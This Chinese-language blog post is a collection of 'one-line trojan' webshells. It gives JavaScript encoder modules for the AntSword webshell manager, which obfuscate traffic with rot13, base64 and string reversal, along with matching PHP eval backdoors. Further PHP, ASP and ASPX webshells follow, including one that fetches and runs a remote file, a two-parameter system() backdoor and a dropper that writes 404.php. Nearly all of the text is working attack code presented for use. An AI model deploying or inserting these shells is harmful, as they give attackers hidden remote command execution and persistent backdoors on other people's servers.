一句话木马

发布于 2020-08-28  511 次阅读


0x01 简介

使用蚁剑时,可以使用编码器配合一句话进行使用,可以加密传输时的数据,进而起到隐蔽的作用。下面使用php进行举例

0x02 蚁剑编码器的使用

蚁剑使用rot13+base64进行加密

#解码器+匹配的一句话

/**
一句话木马
<?php @eval(str_rot13(base64_decode($_POST['ant'])));?>
**/

'use strict';

module.exports = (pwd, data, ext={}) => {
  // rot13 的 js 实现
  const rot13encode = (s) => {
    return s.replace(/[a-zA-Z]/g, function (c) {
      return String.fromCharCode((c <= "Z" ?
          90 :
          122) >= (c = c.charCodeAt(0) + 13) ?
        c :
        c - 26);
    });
  }
  // 把 payload 先 rot13 然后再 base64
  data[pwd] = Buffer.from(rot13encode(data['_'])).toString('base64');
  delete data['_'];
  return data;
}

蚁剑使用rot13+base64+反转进行加密

#解码器+匹配的一句话

/**
一句话木马
<?php @eval(str_rot13(base64_decode(strrev($_POST['ant']))));?>
**/

'use strict';

module.exports = (pwd, data, ext={}) => {
  const rot13encode = (s) => {
    return s.replace(/[a-zA-Z]/g, function (c) {
      return String.fromCharCode((c <= "Z" ?
          90 :
          122) >= (c = c.charCodeAt(0) + 13) ?
        c :
        c - 26);
    });
  }
  // 字符串反转 reverseString("abc") == "cba"
  const reverseString = (s) => {
    return s.split('').reverse().join('');
  }

  data[pwd] = reverseString(Buffer.from(rot13encode(data['_'])).toString('base64'));
  delete data['_'];
  return data;
}

0x03 php一句话木马

#未加密一句话

<?php @eval($_POST['ant']);?>

#远程执行命令

<?php $exp=file_get_contents('http://127.0.0.1/1.txt');echo`$exp`;?>

#双参数后门

<?php $exp= $_GET['exp']; $cmd = $_GET['cmd']; $exp($cmd);?>    //?exp=system&cmd=whoami

#生成404.php后门

<?php $exp='<?php @eval($_POST["ant"]);?>';file_put_contents("404.php", $exp);?>

#命令执行

<?php $exp=$_GET['cmd'];echo`$exp`;?>

0x04 asp一句话木马

<%eval request("passwd")%>

0x05 aspx一句话木马

<%@ Page Language="Jscript"%> <%eval(Request.Item["passwd"],"unsafe");%>


一切都是兴趣使然